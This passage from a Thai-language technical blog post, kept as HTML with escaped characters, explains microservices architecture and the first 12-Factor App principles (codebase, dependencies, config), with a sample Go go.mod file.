&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE18;&#xE38;&#xE23;&#xE30;&#xE01;&#xE34;&#xE08;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE34;&#xE1A;&#xE42;&#xE15;&#xE2A;&#xE39;&#xE07; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE14;&#xE47;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; Microservices Architecture &#xE44;&#xE14;&#xE49;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07; Function &#xE02;&#xE2D;&#xE07; Monolithic Application &#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; Service &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Test &#xE41;&#xE25;&#xE30; Deploy &#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE18;&#xE38;&#xE23;&#xE30;&#xE01;&#xE34;&#xE08; &#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE2A;&#xE4D;&#xE32;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE07;&#xE04;&#xE4C;&#xE01;&#xE23;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE01;&#xE32;&#xE23;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;</li><li>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE27;&#xE21; &#xE46; &#xE1C;&#xE48;&#xE32;&#xE19; API &#xE42;&#xE14;&#xE22; Frontend &#xE41;&#xE25;&#xE30; Backend &#xE08;&#xE30;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; REST API &#xE43;&#xE19;&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Service &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;&#xE40;&#xE2D;&#xE07; &#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49; RPC &#xE2B;&#xE23;&#xE37;&#xE2D; Message Queue</li><li>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE21;&#xE35;&#xE02;&#xE2D;&#xE1A;&#xE40;&#xE02;&#xE15;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE15;&#xE32;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE32;&#xE07;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08; (Bounded Context) </li><li>&#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE1A;&#xE1A; DevOps &#xE17;&#xE35;&#xE21;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE40;&#xE1B;&#xE47;&#xE19; Full-stack &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE04;&#xE23;&#xE1A;&#xE17;&#xE31;&#xE49;&#xE07; Fontend, Backend &#xE41;&#xE25;&#xE30;&#xE1C;&#xE39;&#xE49;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE30;&#xE1A;&#xE1A; (Operation)</li><li>&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale &#xE44;&#xE14;&#xE49;&#xE43;&#xE19;&#xE41;&#xE19;&#xE27;&#xE19;&#xE2D;&#xE19; (Horizontally Scalable) &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE19;&#xE17;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27;</li><li>&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE01;&#xE31;&#xE1A;&#xE14;&#xE39;&#xE41;&#xE25;&#xE41;&#xE1A;&#xE1A;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE2D;&#xE33;&#xE19;&#xE32;&#xE08; &#xE17;&#xE35;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE01;&#xE31;&#xE1A; Service &#xE02;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE32;&#xE44;&#xE14;&#xE49;</li></ol><p>Microservices &#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; Distributed System &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22; Component &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; Distributed System &#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Decentralized &#xE40;&#xE2A;&#xE21;&#xE2D;&#xE44;&#xE1B;</p><p>Decentralized System &#xE04;&#xE37;&#xE2D; Distributed System &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Component &#xE43;&#xE14;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Component &#xE21;&#xE35;&#xE2D;&#xE33;&#xE19;&#xE32;&#xE08;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE32;&#xE19;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19; </p><p>&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Microservices &#xE43;&#xE19;&#xE42;&#xE25;&#xE01;&#xE08;&#xE23;&#xE34;&#xE07;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE04;&#xE33;&#xE19;&#xE36;&#xE07;&#xE16;&#xE36;&#xE07;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE2D;&#xE33;&#xE19;&#xE32;&#xE08; &#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE19;&#xE14;&#xE49;&#xE32;&#xE19;&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE01;&#xE31;&#xE1A;&#xE14;&#xE39;&#xE41;&#xE25;&#xE17;&#xE35;&#xE21;</p><p>&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE2D;&#xE33;&#xE19;&#xE32;&#xE08;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE41;&#xE15;&#xE48;&#xE01;&#xE47;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE01;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19; &#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE41;&#xE25;&#xE30;&#xE04;&#xE38;&#xE13;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE42;&#xE14;&#xE22;&#xE23;&#xE27;&#xE21;</p><h2 id="12-factor-app-%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%9E%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2-microservices">12-Factor App &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Microservices</h2><p>12-Factor App &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE41;&#xE1A;&#xE1A; Cloud &#xE41;&#xE25;&#xE30; Distributed &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE40;&#xE1B;&#xE49;&#xE32;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Deploy, Scale &#xE41;&#xE25;&#xE30;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; 12-Factor App &#xE16;&#xE39;&#xE01;&#xE21;&#xE2D;&#xE07;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; &#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07; (Guideline) &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE04;&#xE23;&#xE48;&#xE07;&#xE04;&#xE23;&#xE31;&#xE14;&#xE17;&#xE38;&#xE01;&#xE02;&#xE49;&#xE2D; &#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE23;&#xE34;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE1A;&#xE23;&#xE34;&#xE1A;&#xE17; &#xE40;&#xE0A;&#xE48;&#xE19;</p><ul><li>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; State &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27;</li><li>&#xE23;&#xE30;&#xE1A;&#xE1A; Legacy &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE22;&#xE01; Config &#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li><li>&#xE07;&#xE32;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; Local Resource &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27;</li></ul><p>&#xE40;&#xE1B;&#xE49;&#xE32;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; 12-Factor App &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; Environment &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE32;&#xE14;&#xE40;&#xE14;&#xE32;&#xE1E;&#xE24;&#xE15;&#xE34;&#xE01;&#xE23;&#xE23;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE19;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE38;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE43;&#xE19;&#xE23;&#xE30;&#xE22;&#xE30;&#xE22;&#xE32;&#xE27; &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE04;&#xE23;&#xE1A;&#xE17;&#xE38;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE15;&#xE49;&#xE19;&#xE17;&#xE38;&#xE19;</p><p>&#xE43;&#xE19; 12-Factor App &#xE19;&#xE31;&#xE49;&#xE19; Processes &#xE04;&#xE37;&#xE2D; <strong>First Class Citizen</strong></p><h3 id="12-factor-app-principle">12-Factor App Principle </h3><p><strong><em>Codebase</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/code.png" class="kg-image" alt loading="lazy" width="1502" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/code.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/code.png 1000w, https://blog.pjjop.org/content/images/2024/09/code.png 1502w" sizes="(min-width: 720px) 720px"></figure><p>Codebase &#xE04;&#xE27;&#xE23;&#xE21;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE02;&#xE2D;&#xE07; Project &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Version Control &#xE40;&#xE0A;&#xE48;&#xE19; GitHub &#xE2B;&#xE23;&#xE37;&#xE2D; GitLab &#xE2F;&#xE25;&#xE2F; &#xE17;&#xE31;&#xE49;&#xE07; Dev, UAT &#xE41;&#xE25;&#xE30; Production Environment &#xE04;&#xE27;&#xE23;&#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Codebase &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;</p><p>Codebase &#xE04;&#xE37;&#xE2D; &#xE0A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Code &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; Source Code &#xE41;&#xE25;&#xE30;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; Image, Audio &#xE04;&#xE39;&#xE48;&#xE21;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;, Script &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Build, Test &#xE41;&#xE25;&#xE30; Deploy &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; &#xE2F;&#xE25;&#xE2F;</p><p>Codebase &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19; &#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; &#xE41;&#xE25;&#xE30;&#xE1A;&#xE33;&#xE23;&#xE38;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32; Project &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A; Microservices &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE22;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Service &#xE25;&#xE07;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Git Repository &#xE44;&#xE14;&#xE49;</p><p><strong><em>Dependency</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/dep.png" class="kg-image" alt loading="lazy" width="1502" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/dep.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/dep.png 1000w, https://blog.pjjop.org/content/images/2024/09/dep.png 1502w" sizes="(min-width: 720px) 720px"></figure><p>List &#xE02;&#xE2D;&#xE07;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07; Source Code &#xE43;&#xE2B;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C; &#xE2B;&#xE23;&#xE37;&#xE2D; Execution Environment &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49; (Compiled Atifact) &#xE04;&#xE27;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Codebase</p><figure class="kg-card kg-code-card"><pre><code>module example.com/hello

go 1.21.0

require (
    github.com/gin-gonic/gin v1.7.4
    github.com/go-sql-driver/mysql v1.6.0
)</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Dependency File (go.mod) &#xE43;&#xE19; Golang&#xA0;</figcaption></figure><p><strong><em>Config</em></strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/config.png" class="kg-image" alt loading="lazy" width="1500" height="1292" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/config.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/config.png 1000w, https://blog.pjjop.org/content/images/2024/09/config.png 1500w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE22;&#xE01;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE4D;&#xE32;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Connect Database &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Code &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE21;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE43;&#xE2B;&#xE21;&#xE48; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07; Deploy &#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Environment &#xE42;&#xE14;&#xE22;&#xE43;&#xE19;&#xE17;&#xE32;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE01;&#xE47;&#xE1A; Config &#xE41;&#xE22;&#xE01;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Enveronment &#xE44;&#xE27;&#xE49;&#xE19;&#xE2D;&#xE01; Codebase 